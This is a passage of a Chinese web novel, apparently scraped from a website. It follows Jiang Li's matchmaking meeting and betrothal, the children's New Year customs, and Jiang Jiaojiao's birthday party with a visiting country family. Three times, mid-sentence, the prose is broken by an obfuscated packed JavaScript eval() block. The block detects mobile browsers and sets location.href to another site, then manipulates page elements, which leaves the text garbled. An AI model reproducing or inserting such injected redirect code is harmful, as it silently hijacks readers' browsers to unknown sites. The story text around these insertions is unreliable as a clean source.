蒋黎和郑家郎君相亲的地方就被安排在了竹林里的听风阁。 冬日里的竹林比起夏时虽然少了些清幽，但却也多了几分轻灵的风雅，周遭一切仿佛都慢了下来，唯有屋阁里弥漫着木炭熏燃的暖意在缓缓涌动。 琥珀轻手将竹帘打起，伴随一阵窸窣的帘珠碰撞声，蒋黎走了进来。 原本正站在窗前远望竹林景色的年轻男子闻声回头，走上几步站定，垂眸拱手见礼：“郑氏六郎见过蒋四姑娘。” 蒋黎不动声色地打量着眼前人。 他虽低着头，但亦可看出长得颇清俊，身上穿了件竹青色的销金背子，腰间配着绣了茉莉花的锦囊，除此之外便并无太多装饰。瞧着倒果是像母亲和二哥哥说的那样，形容举止有些士人子弟的温雅之气。 这打量不过在转息之间，蒋黎便貌似从容地浅笑着回礼道：“郑六郎不必多礼，请坐吧。” 郑六郎，也即是郑麟，闻听蒋黎的声音后不由微微一顿，然后应了声，方不着痕迹地将本落在她裙摆下的目光收了回来。 两人相对落座后，才看清了对方的模样。 郑麟不免有些意外。 他没有想到原来蒋黎是个看起来颇秀美的姑娘。 沈家寿宴上的事他自是已经听说了，也从母亲的口中知道蒋家姑娘没有裹脚。但他当时并没有什么太深刻的感觉，直到此刻亲眼见到了蒋黎，他才好像突然后知后觉地感受到了当时她被人围观嘲笑的无措。 一念及此，郑麟不由开口问道：“四姑娘近来可好？” 蒋黎微怔，觉得他这话问得挺有些意思，就好像两人不是初次见面，而是经年老友一般，听着莫名像是在替她担心着两分。 “一切尚好，谢郑六郎关心。”她也礼尚往来地回问了句，“听闻六郎喜欢读书？” 郑麟笑容谦虚地道：“只是喜好以此消磨时间罢了。” 蒋黎笑了笑，捧场地问道：“六郎既然好学，可想过试试去考科举？” 郑麟却摇了摇头，说道：“此路狭窄崎岖，我有自知之明。”言罢，他略顿了顿，方又续道，“不过我以后倒是想另立铺席，也成就些家业。” 蒋黎闻言，欣赏地点了点头：“那也挺好。” 郑麟有些意外，也有些惊喜地看着她：“四姑娘支持我？” 这话听着就有些亲近之意了。 蒋黎不由得有些脸红，但想到两人的确已几乎算是未婚夫妻的关系，便也不扭捏，只抿唇笑了笑，温声说道：“郎君既有志，自然万事可行。” 郑麟的脸也有些发红。 他默然了几息，朝旁边的小厮伸出了手。 后者即会意地将早已备好的木盒递到了他掌中。 蒋黎知道那是什么，脸上就更烫了。 郑麟打开盒子，拿出了一支金燕钗。 “冒昧了。”他柔声说着，起身走到了蒋黎身畔。 她浅浅垂下了眉眼。 郑麟微微一笑，将金钗插入了她的发间。 *** 蒋娇娇和蒋修听说他们小姑从听风阁回来了，便立刻迫不及待地跑了过去看新鲜。 蒋黎正在换衣服。 等她出来的时候，就正对上那兄妹两个好奇打量的目光。 蒋黎知道他们是在看什么，便笑着拔下了头上的金钗递过去，说道：“看吧。” 兄妹两个接过去便埋头研究起来。 “好像和你平时戴的没什么区别啊。”蒋修有点失望，他还以为相亲插的钗有什么特别呢。 蒋娇娇却道：“小姑的好看些。” 蒋黎伸手摸了把侄女的脸，笑道：“你也这么觉得？” 蒋娇娇点头，想了想，说道：“小姑夫这个像是给婆婆戴的。” 蒋黎“噗嗤”笑出了声。 蒋修纳闷道：“婆婆戴的怎么了？” 蒋娇娇说不出个所以然，只道：“那小姑戴着就没有婆婆戴着好看。” 蒋修愣了下，在心里想象了一番他婆婆戴这个钗子的样子，不由心想：好像还真是。 但此时迎着他姑姑的目光，他却突然间感觉到了前所未有的为难。 蒋黎看着他蹙眉纠结的样子，忍不住笑起来，抬手轻敲了下侄儿的头，说道：“傻瓜，娇娇的意思就是说这钗子样式老气了些，我戴着不太合适。” 蒋修自觉挽救道：“我觉得你们戴着都好看。” 蒋黎眉梢轻抬，伸指轻点了他一下：“小小年纪就昧良心。” 蒋修脸颊微红。 却见蒋黎对他笑了笑，好似语重心长地说道：“你以后可别学你小姑夫，他这个钗子肯定是家里给他备的，东西好是好，样式稳重，送人定是稳妥的。不过嘛……”她又再浅浅一弯唇角，状若随意地续了句，“女子饰物，还是当因人而有异。” 她实没办法勉强顶着那不和谐的打扮去见人，所以为了能戴着这钗子去见长辈们，她才不得不先回来换身合适的打扮。 就是可惜了二嫂嫂原本不想把她打扮得那么闷，不想绕了一圈还是绕回来了。 蒋修这下明白了，于是顺着他姑姑重新将钗子插回发间的动作看去，忖了忖，说道：“小姑，我觉得小姑夫可能也不知道你喜欢什么样的，你想要什么就直接告诉他好了。” 初次见面就送礼，一般也只能送些不出错的才是。 “这我自然晓得。”蒋黎笑笑，说道，“原也没有因这个生他的气。” 她心里是有数的。 就像二嫂嫂说的那样，她和郑六郎今日才为以后的情分走出了第一步，她又怎会因这一步之前的事对他挑剔？ 她也是第一次相亲，可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529284|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分人家也都是像这样觉得什么好给什么，审美这件事本就主观，她既知道这个道理，就更不该斤斤计较才是。 于是她对蒋修道：“我不过是先拿这活例子教教你，也好让你往后少走些弯路。不信你问娇娇，上次谢小郎过来送糕点的时候正好买了她喜欢的两样，她高不高兴？” 蒋娇娇立刻点头：“高兴。” 蒋修若有所思。 可是要让他短时间里就要了解一个女孩子的喜好，他觉得这太难了。他也是和家里人处了这么久才知道她们喜欢什么，像沈云如那次，他不就碰了一鼻子灰么？ 于是他大感心累地道：“你们女孩子真得太麻烦了。” *** 郑家的人在别院里用过晚饭后便告辞回去了，今日郑六郎给蒋黎插了钗，两家长辈心中便已有了默契，知道很快郑家就会请媒户再上门约好下定礼的日子，说不定年前就能成事。 分别时两家气氛可谓一片其乐融融。 郑六郎来时是骑的马，此时回程夜色已深，虽有足够的灯笼照明，但高大娘子还是不太放心，所以叫了他到车里坐。 她也正好能和儿子单独说说话。 “今日你见到了蒋四娘，对她印象如何？”高大娘子问道。 从听风阁回来之后，郑麟便去了大伯父和蒋家老爷那边席上，并没能再和蒋黎见到面，此时他回想起相亲时两人四目相对而坐的情景，不由弯了弯唇角。 “我觉得她挺好的。”他说，“容貌秀美，为人亲和又落落大方，难得还有见识。” 高大娘子回想起这两次见到蒋黎的情况，其实倒也没看出她本人有什么明显问题，只是想到她那双大脚，心里多少还是有些放不下。 “希望不是表里不一。”她难掩担心地叹了口气，说道，“我总觉得似蒋家这样不讲规矩养出来的姑娘，性子恐怕也不是个好相与的。” 高大娘子想起当日赏梅宴上蒋老太太那一番霸道姿态，皱了皱眉：“但这亲事是你婆婆亲自上门求的，你大伯父也言势在必行，你爹爹又根本拿不出话来说，我也只能认了。” 郑麟劝道：“娘，您也别这样想。且不说蒋家与我们门户相配，其实我觉得蒋四姑娘也挺可怜的，”他说着，语气里便不由地带了几分怜惜，“蒋老太太已这把年纪了，早先在农村经历得多，后来要改只怕也是难，估计连自己险些耽误了女儿都察觉不到。蒋四姑娘若不是孝顺，又怎会一味顺着她老人家？被人笑的是她，那样的境地，怎会有人不感难堪呢？” 他觉得自己几乎可以想见蒋黎当时的梨花带雨，令人心疼。 高大娘子没好气道：“你这性子一贯会怜香惜玉，看到那不顺的就容易心疼，如今都要成亲了，须得收收你那颗容易疼的心，旁的不说，我也怕你娶了媳妇忘了娘。” 郑麟被母亲突然劈头盖脸斥了一通，只好讪讪笑了笑，又靠近了些哄道：“娘亲放心，我和蒋四姑娘成了亲，便是两个人孝顺您了。” 高大娘子也只能这么想，点了点头，说道：“但愿如此。” 29. 新日 从陈留回来之后，郑家便赶在年前向蒋家下了定礼。 送礼这天郑麟是亲自来的。因适逢年关，他还顺道另带上了两匹彩缎和一些果酒，以作“追节礼”，蒋黎这边则也使人回赠了自己亲手所制的两个佩囊和几双绫袜。 巷子里的孩子们也来看热闹。 照习俗，女方家是要当面开启定礼盒子的，因为也须得当日便回定礼。故而蒋家早早就已在正厅准备好了香烛果酒，待郑家将定礼送来安置好后，即行告祝天地祖宗之礼，然后请了夫妇双全者挑巾。 于是先已提前受邀，此时早在一旁候了许久的唐大娘子便面带微笑地登了场。 郑麟先将手中绘有五男二女的漆木盒子呈了过去。 盒里装的是婚启和礼物状，均是用销金的红纸写成，又分别用红绿销金鱼袋盛放。 于是先由挑巾的唐大娘子将正式的婚启礼书诵读了一遍，然后便轮到了媒户按照郑家给的礼物状开始唱单。 郑家送的定礼也基本是一应按照时兴的要求准备的：珠翠、首饰、金器、销金裙子和彩缎茶饼等一样不少。金瓶酒有四樽，用大花彩胜装饰着，并盖了红绿色的罗帛花酒衣。 待媒户唱完了礼物状后，蒋世泽这边使人收下，也将自家早就备好的回礼以及回定礼物状拿了出来。 按惯例，女家的回礼一般应为各色缎匹及女工巧作之类，同时也要将男方所送酒肴茶果的一半回送。 媒户又据此唱了一遍。 双方的状子上都将礼物的名称数量，还有所用的质料写得清清楚楚。 郑家那边收下后，就再当场请了下聘礼的日子。 谢暎不免有些差异，低声问旁边的蒋修：“怎么今日不算是下聘么？” 蒋修也不太懂，于是顺手从另一边把他妹拉到了两人中间站着，口中道：“你来说。” 蒋娇娇有点懵：“我不知道啊。”然后她又探头去看被他哥给隔到了旁边的姚之如。 姚之如更懵，迎着几人求知的目光，她不免感到有些压力，于是只好又转头去看自己的二哥。 姚二郎眉毛一挑，夸张地瞪圆了眼睛，说道：“我又没结过亲。”又一抬下巴示意道，“你们问沈二啊。” 众人又齐齐转头去看正端端站在队首的沈约。 沈约的耳尖略有些发红，貌似淡定地道：“我只看过别人成亲。”意思是没见过下聘。 敢情是谁都不懂这个。 恰此时，站在沈约旁边的沈云如忽然不急不慢地开了口。 “照规矩定聘之礼一共要下三次礼，分别是定礼、聘礼和财礼。”沈云如说着，回眸向众人看来，“但一般人家条件不济的，也会把定聘之礼一次完成，只要少不得该有的礼节便成，譬如说牵羊担酒之类的。” 众人恍然，不约而同地转眸看向了郑家牵来的，此时正老老实实被拴在院中的那两只小羊。 姚之如不由佩服地道：“沈姐姐你好厉害。” 沈云如弯唇笑了笑。 几乎与此同时，姚之如就看见蒋娇娇转头朝自己看了一眼。 她倏地抿住了嘴。 蒋娇娇面上不以为然，却忍不住一边默默掰着手指，一边口中默念：定礼，聘礼，财礼…… 她拉了下谢暎的袖子，轻声问：“聘字怎么写的？” 谢暎低头轻回道：“晚些写给你看。” 蒋娇娇点头，然后又想起什么，继续悄悄道：“明天早点起来钉面蛇。” 谢暎也点点头，低回道：“好。” 两人说完了小话，便又若无其事地齐齐朝堂中看去。 *** 清早，天还未亮，巷中已一如既往地隐隐传来了报晓行僧敲打铁片的声音。 院中的公鸡也准时地打起了鸣。 外头敲，里头嚎，又是一天便开始了。 而这一日也恰好是新的一年开始，正月元日。 不多时，巷子里就响起了各家开门的声音，一边在门前洒扫除尘，一边等着将早就备好的斋饭和斋衬钱给那走街串巷的报晓行僧。 若是平日里，蒋娇娇听见那公鸡报晓也只当没听见，必得还要再顽强地蒙头睡上半刻，但今日她却也是兴奋地早早睁开眼，翻身便爬起了床。 等她收拾妥当跑到家门口时，她哥还有谢暎早已在那里等着了。 “你怎么这么慢，”蒋修不满地道，“再过会儿天都亮了。” 蒋娇娇理直气壮地道：“我是女孩子！” 蒋修莫名其妙：“女孩子怎么了？” 谢暎浅笑了笑，平静接道：“女孩子，本该比你收拾得精细些。” 蒋修：“……” 蒋娇娇就冲她哥扬了扬下巴。 “没事，”谢暎打圆场道，“反正还差一个人。” 话音刚落，不远处的暗蓝天色下就出现了两个身影，一个走得飞快，另一个则细步紧跟着，但显然有些吃力。 蒋娇娇就喊了声：“之之你慢点走，不着急。” 说话间，姚二郎已经先到了近前，向面前三人打了个招呼，然后又回头去看姚之如，皱着眉道：“我本说我自己来就行，她非要跟着。” 姚之如跟在后面听到她二哥这样说，便急着回了句：“我也还不曾玩过呢，想和娇娇一起。” 蒋娇娇就道：“我们一起。” 蒋修听着觉得头疼，说道：“你们旁边站着看吧，这个只用三个人。” 蒋娇娇就气呼呼地看着她哥：“那就我、之之和谢暎来。” 蒋修果断拒绝：“这要用铁钉的，会伤着你们两个。” “行了别争了，过会儿天要亮了。”谢暎出声说道，“这样吧，我先和娇娇还有姚小娘子把东西放进坑里，然后我们三个再来钉铁钉，但念咒的时候大家一起来。反正只是说要三个不同姓的人，我们这里虽然人多些，但姓还是只有三家，应该没问题。” 蒋娇娇立刻被说服了。 姚二郎和姚之如当然也没什么意见。 蒋修想了想，觉得好像也没有更好的办法能安置他妹，只能“忍痛”答应了。 于是钉面蛇的活动正式开始—— 三个男孩子先一起在榕树底下挖了个土坑，接着谢暎拿出了从家里带的面蛇——也就是用面粉做成的蛇形玩意儿，蒋娇娇则拿出了一个小布囊，里面装的是炒熟的黑豆，最后姚之如也从她二哥那里接过了三只煮熟的鸡蛋。 三个人依次将这三样东西放进了土坑里。 蒋修便拿出了早已备好的铁钉，分发给了谢暎和姚二郎。 男孩子们就各面向那三样东西蹲了一方，开始用钉钉子。五个人并同时开始念咒：“蛇行则病行，黑豆生则病行，鸡子生则病行。” 铁钉钉了三下，咒也齐齐念了三遍，末了，五个孩子方又一起上手将土盖了回去。 恰好此时天也亮了。 “还好赶得及。”蒋修舒了口气，又朝姚二郎问道，“你那回说的‘令如愿’又是怎么玩儿？” 姚二郎也是听他表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529285|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥说的，自己并没有玩过，只能大致讲了一番，说是要用挂了铜钱串子的竹竿去捶打粪土堆，然后如何如何。 蒋娇娇一听，嫌弃道：“脏死了。” 蒋修道：“只用土堆行不？” 姚二郎犹豫道：“应该可以吧？” 蒋修想到刚才钉面蛇时谢暎的取巧之法，自觉举一反三地道：“要不就用张纸写个粪字放在土堆上头。” 在场字写得最好的人是——蒋修、蒋娇娇并姚二郎三人不约而同朝谢暎看去，姚之如愣了愣，虽不明所以但也随着他们望过去。 然而她这一眼望去，却正好望见了个远处正朝他们走来的熟悉身影。 “沈小官人！”她略惊喜地唤出了声。 其他人循声转头看去，果然看见沈约和沈云如两个慢慢走了过来。 蒋修就同他们打招呼：“你们也这么早？” 沈约疑惑地看了他一眼：“去年不是你说以后每年元旦早上大家都聚在一起，要在巷子里放第一声爆竹么？” 还说什么就当是大家一起给照金巷的所有人辟邪禳灾。 蒋修这才后知后觉地记起了这回事，于是不好意思地笑道：“对对，是我的错，光惦记着新学的钉面蛇了。”又道，“我们正问着姚二他听说的那个‘令如愿’怎么玩儿了，你们也来？” 沈云如不太喜欢闹腾的活动，即便是放爆竹，她也从来都是和蒋娇娇一样只站在旁边看的，反倒是姚之如，意外地能跟着他们那些男孩子一起放。不过她要比蒋娇娇好些，并不怕那个声音，只是纯粹不想躲来躲去那么狼狈。 沈云如正想问问“令如愿”是怎么玩，就听见蒋娇娇来了句：“是要打粪堆的。” 沈云如：“……” 她果断拒绝了，并且皱眉看了眼蒋修，说道：“今天过节，你们就不能别玩这些臭烘烘的东西？回头还要祭祖呢。” 蒋修道：“也不是光粪堆，而且我正打算让暎哥儿写个‘粪’字来代替。” 沈约闻言，朝谢暎看去，顿了顿，问姚二郎道：“你们几时商量的要钉面蛇？” “就前两天，”姚二郎回道，“这个要三个不同姓的人一起钉才行，修哥儿说你肯定不感兴趣，就没同你说。” 三个不同姓。沈约想，若是从前，不管他感不感兴趣，蒋修他们肯定都是要来问他的。 现在他们却可以直接去找谢暎了。 蒋修看沈约突然问起这个，只当是自己失了算，心想难道沈二竟对钉面蛇有点兴趣？于是就说道：“这个要天亮前做才行，等明年又换你和暎哥儿还有姚二去钉就是。” 沈约平平道：“不用了，我没兴趣。”又问他，“那你们还放不放爆竹？不放我们就先回去了。” 蒋修就说要放，于是招呼着几个男孩子一起。 谢暎看了眼沈约，然后退到了后面站着，姚之如则主动走了上去加入。 蒋娇娇紧紧盯着蒋修几个的动作，下意识退步到了谢暎身旁，皱着眉道：“我最怕他们玩这个。”边说着话，已经边用手捂住了耳朵。 谢暎就上前半步，把她挡到了自己身后。 “来咯！”蒋修忽然大喊了一声。 姚二转头就躲。 姚之如退开时不小心绊了下脚，被旁边的沈约及时拉住，顺手抓着她一起跑开了。 爆竹声噼里啪啦地响彻了整条巷子。 冬日的阳光从榕树的枝叶间洒落下来，伴随着新年第一天孩子们的玩乐声，熙宁十三年也悄然而至。 30. 迎春 二月十九，初春。 蒋娇娇跟着家里人刚从观音庙回来，就远远看见了巷子深处的半空中正飞着一只粉色的大蝴蝶。 她先是一怔，继而便双眼发亮地朝着那方一指，回头喊蒋修：“大哥哥你看——” 蒋修顺着她手指的方向看去，也是大感新鲜，诧异道：“暎哥儿这是在家里头放风筝？” 既是谢家所在的方位，总不可能是谢夫子在那里飞蝴蝶吧？ 不过谢暎竟然也会喜欢玩风筝，而且玩的还是只蝴蝶风筝，蒋修仍是不禁生出了些许“万万想不到”之感。 兄妹两个就直接跑去了谢家。 竹扉未合，蒋娇娇当先伸手推开，向着里面的人便喊了声：“谢暎！” 正在放风筝的谢暎闻声一顿，转过头看见站在院门处的蒋娇娇，忙背过身开始收线。 “诶诶——”蒋修立刻跑了过来，伸手要去夺，边笑道，“别不好意思啊，不就是个大粉蝴蝶么，我不告诉别人你喜欢这样式的就是了，让我瞧瞧。” 蒋娇娇也跟着跑上来，起哄道：“我也看看。” 谢暎回手抵开蒋修，没搭理他，只径自对蒋娇娇道：“你转过去，现在不能看。” 蒋娇娇有些莫名：“为什么不能看？”又好奇地探着脑袋要去瞧，口中并道，“可是我刚才已经看见了啊。” “刚才离得远不打紧，”谢暎用身体挡着她，说道，“现在不能看。” “为什么不能看？”蒋娇娇觉得他只针对自己，便皱起眉，语气里带出了几分撒娇似的霸道，冲着谢暎一摊掌心，“我要看！” 蒋修也觉得挺奇怪，一个风筝有什么不能看的？于是也问道：“你那风筝莫不是开了光，旁人摸不得？” 他们今日才去庙里贺过观音娘娘诞辰，此时不免下意识便联想到了这些。 谢暎好不容易在他们兄妹两个的夹击之下把风筝收回，勉强反手背到了身后，接着后退一步站定，对蒋修道：“是给娇娇的生辰礼。”然后又红着耳朵看向蒋娇娇，解释道，“不是不给你看，只是想着晚些和大家一起送礼给你，因才刚做好，我只是先试一试。” 蒋娇娇立刻就高兴了起来：“是送给我的么？我要看看！” 显然是只把生辰礼那句给听进去了。 谢暎拗不过她，只好把风筝递了出去，但心里多少仍有点不好意思，说道：“还是做得不太好，飞不了太高。” 蒋娇娇却很容易满足：“可以飞就行。” 蒋修瞧着她妹手里的那只大粉蝴蝶，讶然之余不由佩服地道：“你居然还能自己做风筝，谁教你的？” 谢暎道：“我自己去市上买了一只，拆着学的。”又道，“不过画的花样是叔祖帮忙的，我画得不太好。”说到这个他还觉得有点遗憾，并由衷地对蒋娇娇道，“以后我学好了画，就全部自己给你做。” 蒋娇娇开心地点了点头，把风筝抱在怀里，对他说道：“那你以后每年给我做一只吧。” 谢暎看她喜欢，也觉得挺高兴，于是颔首道：“好。” 蒋修觉得谢暎答应得太轻易了，便嘲道：“你怎么都不拿拿乔就应了？做这个多麻烦，我要是你，市上去买两只好看的给她不就成了。” 谢暎笑了笑，坦然地道：“我暂时买不了太好的，还是自己做的有心意些。” 他知道蒋娇娇肯定是看惯、用惯了好东西的，风筝他不是不能买，但要买到能合适她眼缘的却未必能成，他也觉得她一向是个重视别人心意的女孩子，所以最后才决定试试自己亲手做，至少用钱看不到的心意用这双手大约是能做到的。 谢暎想得很简单，也很直接。 虽然他初次动手，做的过程的确是艰难了些，但好在还是磕磕绊绊地成功了，不然他估计真是只能再另想办法了。 蒋修冷不丁被他这一句话给堵住，不禁突地生出了些内疚，正想着说两句来挽回一下，就看见谢暎又带着几分调侃之意地冲自己笑道：“不过等你生辰的时候我倒是可以随便一点。” 蒋修就“嗤”了一声，故作不以为然地笑道：“随便就随便，我反正没蒋娇娇那么多事。” 蒋娇娇不服气道：“但是你笨，自己做不了风筝。” 蒋修张了张口，目光落在她手里的风筝上，末了，认输地道：“这个确实不行。”他想到这些需要精细的事情就头疼，于是忍不住说谢暎，“你太不是人了，我们都在外头买，就你用手做，以后蒋娇娇岂不是又要嫌东嫌西觉得我们不用心？” 谢暎想了想，安慰他道：“各有所长吧。你有钱，我正好有手。” 蒋家兄妹俱是一怔。 然后两人反应过来，双双笑出了声。 “大哥哥我不会嫌你的，”蒋娇娇故意道，“我也有点钱，可以给你买手。” 谢暎忍了忍笑。 蒋修嚎了一声，伸手就要去掐自己这死党。 三个人方笑闹了一会儿，蒋家那边就派了厮儿过来叫兄妹两个回去，说是家里头来了客人。 蒋娇娇就对谢暎说道：“晚点我让人送些席上好吃的来给你。” 今天是观音诞辰，也是蒋娇娇的生日，但谢暎却因尚未出孝所以还去不了她的生辰小宴。 “不用了，你们好好玩儿。”谢暎笑了笑，然后看着她，正式地道，“贺你又长大了一岁，祝日日都开心。” 蒋娇娇笑开了花，点头道：“我很开心。” *** 从谢家出来，蒋修边往回走，边好奇地问初一：“可是哪个亲戚来了？” 初一回道：“是未曾见过的，瞧着是一家三口。”说完又忖了忖，压低了些声音道，“听说是从乡下来的，好像是老太太的旧识。” 蒋修和蒋娇娇都没去过乡下，虽知道自家祖辈是农户出身，但这也是头回见家里头来乡下亲友，不免都感到有些好奇。 两人直接就去了欢喜堂。 “哟，修哥儿和娇娇回来了。”蒋老太太乐呵的声音即时响起，招呼自己的两个孙儿，“快来见见你们苗家大丈和胡妈妈。” 兄妹两个顺着朝客座看去，果然见到那里坐着一对满脸堆笑的中年夫妇，身侧还站着个八九岁的小娘子。 苗家人的打扮看上去倒没什么特别，蒋修觉得和他在外面见到的并无两样，连苗大丈戴的那顶矮帽也平平无奇，无非就是寻常的软布所制。 原来这就是乡村户啊。他有点失望。 但他还是规规矩矩和妹妹俯首加敬地礼唤道：“苗大丈，胡妈妈。” 苗氏夫妇忙笑着应好，胡氏还拿出了早就备好的红包递过来：“头次见面，郎娘们只当是些心意。” 蒋修和蒋娇娇都是拿惯了红包的人，也不扭捏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529286|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大大方方地接过来，恭恭敬敬道了声谢。 蒋老太太又笑着招呼道：“南风丫头，你也瞧瞧你蒋家哥哥和妹妹。” 兄妹俩这才仔细注意到了站在胡氏身旁的女孩儿。 她梳着双髻，精神奕奕地站在那里，身上穿了件水蓝色的花罗夹袄，皮肤不太白，衬着脸上的几点雀斑，更显得和巷子里的女孩儿们不一样。 蒋娇娇下意识地看了眼苗南风的脚——她穿的也是平头鞋，不曾裹脚。 她这还是头次见到友家的小姐妹与自己一样，惊喜之余，不由地立刻就对苗南风生出了几分亲近。 “苗姐姐。”蒋娇娇热情地喊了一声。 苗南风也大大方方地朝她笑：“娇娇妹妹。”然后又看向蒋修说道，“蒋大哥哥，先前蒋娘娘说咱们两个是同年，不过我比你小两个月。” 蒋修原本正打量着她身上的那点与众不同，暗忖着乡村户的小娘子应是个什么样子，突然听见对方说了这么一句，他一时没反应过来意思，于是顺口回道：“哦，你要过生日啊。” 其他人：“？” 苗南风却自然地接了句：“四月还早，我要回家过。” 蒋修点点头：“今天是娇娇的生辰，你也一起吃个席吧。” 苗南风毫不拘谨地道：“好。”说完想起什么，略带歉意地对蒋娇娇道，“但我不知道是你生辰，没有带礼物。”又问，“给你唱首小曲儿行么？我会唱采桑曲。” 蒋娇娇大感新鲜地应道：“好啊，我没有听过采桑曲。” 蒋修也好奇地问：“要打花鼓么？还是得给你准备两个乐师？” 苗南风道：“不用，别人一掺和的话我就容易找不着调。” 蒋修、蒋娇娇：“哦！” 大人们听着他们说话不免觉得诧异又好笑，明明蒋修一开始把话都给接歪了，结果没想到三个孩子居然还能一路聊地下去，就好像鸡同鸭讲但鸭子却又能听得懂一般。 到底都是些心思跳脱的小娃。 于是蒋老太太笑着说道：“你们三个小娃儿自去说话吧，我们聊我们的。” 三人恭敬应下，拜辞了长辈们后便自去了偏室吃茶果。 蒋娇娇好奇地问苗南风：“你家离我们家很远么？为什么以前从没来过？” 苗南风想了想，说道：“我家在渠县，陆路换水路过来大约要半月吧。这次原本是我婆婆要来见你家婆婆的，不过临行前半月我婆婆受风寒病了一回，爹爹担心路上车马劳顿累着她老人家，所以就只有我们来了。” 蒋修好奇道：“我们家好像以前也是渠县来的，那你家婆婆和我婆婆是旧识？” 苗南风道：“说是还在闺中就是好友，后来我们家也是托了你们家的福，我爹爹给你爹爹在当驵侩。” 蒋娇娇对细节并不关心，只听到两边的祖母是好朋友，父亲之间也认识，顿时又觉得对苗南风亲近了一层。 蒋修虽不知道驵侩是什么，但又不想显得自己不懂，于是故作了然地点头“哦”了声，转开了话题问道：“那你们那里现如今是什么样子啊？” “唔——”苗南风在心里比对了一番，说道，“没有你们汴京的房屋这么多，也没有这么多人，店铺……” 她话还没说完，就见有小女使走了进来，对蒋娇娇说道：“大姑娘，沈家和姚家的郎娘都过来了。” 31. 南风 蒋娇娇索性把吃茶的地方直接换到了宴厅。 春日早花开，她的生辰宴也被安排在了家里景观最好的地方，是在二层的小楼上，除了花园里的风景外，站在栏前远眺还能隐隐透过街上群屋间隙瞧见汴水上头的官艘贾舶。 苗南风跟着蒋家兄妹上了楼梯，正将要一脚跨入室内，却突然冷不丁瞧见了地上铺着的黛色地衣，她心下不由一愕，下意识想住脚，谁知突然收势之下身体霎时失去了平衡，脚下一晃便不受控制地跳着往后倒去。 蒋修眼疾手快地把她给拽住了。 蒋娇娇和女使们也松了口气。 “好好走路，身后是楼梯。”蒋修皱着眉提醒道，他觉得这苗家妹妹好像有些不让人省心的样子。 苗南风感激道：“谢谢谢谢。”又看了眼室内铺着的地衣，问道，“这个我能踩么？是不是要换双鞋？” 蒋家兄妹穿的都是丝鞋，她觉得踩在上头倒也不突兀，但自己穿的鞋就比较平常了，也不知会不会踩坏？ 因蒋老太太那里并没有铺这个，故而以她来汴京后这短短的有限经验根本提供不了什么参考。 蒋娇娇愣了下，蒋修更是直接用一副疑惑的语气反问道：“你家这么讲究么？进个屋子还要换双鞋。” 苗南风琢磨了一下，认真回道：“不换，只睡觉时换双寝鞋。” “那进来呗。”蒋修浑不在意地说完，便转身先走进了屋子。 蒋娇娇上前来挽住了苗南风的胳膊，带着几分好奇并几分热情地说道：“苗姐姐你家没有铺地衣么？这个就是拿来踩的，你随便踩，不打紧。” 苗南风这才晓得这玩意儿原来叫地衣，说道：“嗯，我家没有，我去别人家也没瞧见过，估计只有你们家有。”又好奇地问，“怎么蒋娘娘那里没有铺这个？” 要是欢喜堂里也有的话，那她也不至于此时被搞了个猝不及防。 蒋娇娇就边走边同她解释：“婆婆说不习惯，嫌麻烦，所以只在寝屋里铺了一块，怕有时凉着脚。” 苗南风了然。 两人随在蒋修后面走入了内室。 苗南风先是闻到了阵幽香，接着打眼一看，只见有两男两女正围坐在摆着茶果点心的长几前，暖阳煦风之下光鲜亮丽，瞧着一个比一个好看。 “娇娇，”姚之如已笑着先起身迎了上来，“祝你年年有今朝。” 姚二郎也跟着把礼物盒子递了过来，笑道：“早市上逛了一大圈，特意给你挑的。” 沈家姐弟的礼物则由沈家的女使一并拿了过来，沈云如端静地陪着站在原处，客气地说道：“这是我和二郎的一点心意，希望你笑纳。” 蒋娇娇今天心情好，自然都是高高兴兴地收了下来，然后对着众人介绍道：“这位是苗家姐姐，她家婆婆和我婆婆是旧交好友。” 其他人其实早就看见了苗南风，此时得蒋娇娇引见，方一一与她互相见了礼。 蒋修在一旁凑笑道：“苗妹妹说要给娇娇唱采桑曲祝生。” 其他四人不由露出诧色。 姚之如倒是没什么，她和蒋娇娇的想法差不多，没听过，所以挺新鲜。 姚二郎心里则想：这是不是也太不值钱了？ 沈约虽感诧异，但更多的却是疑惑。 而沈云如犹豫了一下，忍不住直接开了口：“苗小娘子，今日是蒋小娘子的生辰，你家既然与她有故，这样怕是不太合适吧？” 苗南风愣了愣：“什么不合适？” 蒋娇娇和蒋修也一脸奇怪地看着她。 沈云如不由在心里暗骂这兄妹两个迟钝，若是蒋修有她弟弟一半的家教和敏锐，想必此时也该想到了为什么不合适，但看来这方面她果然不能对蒋家有什么期待。 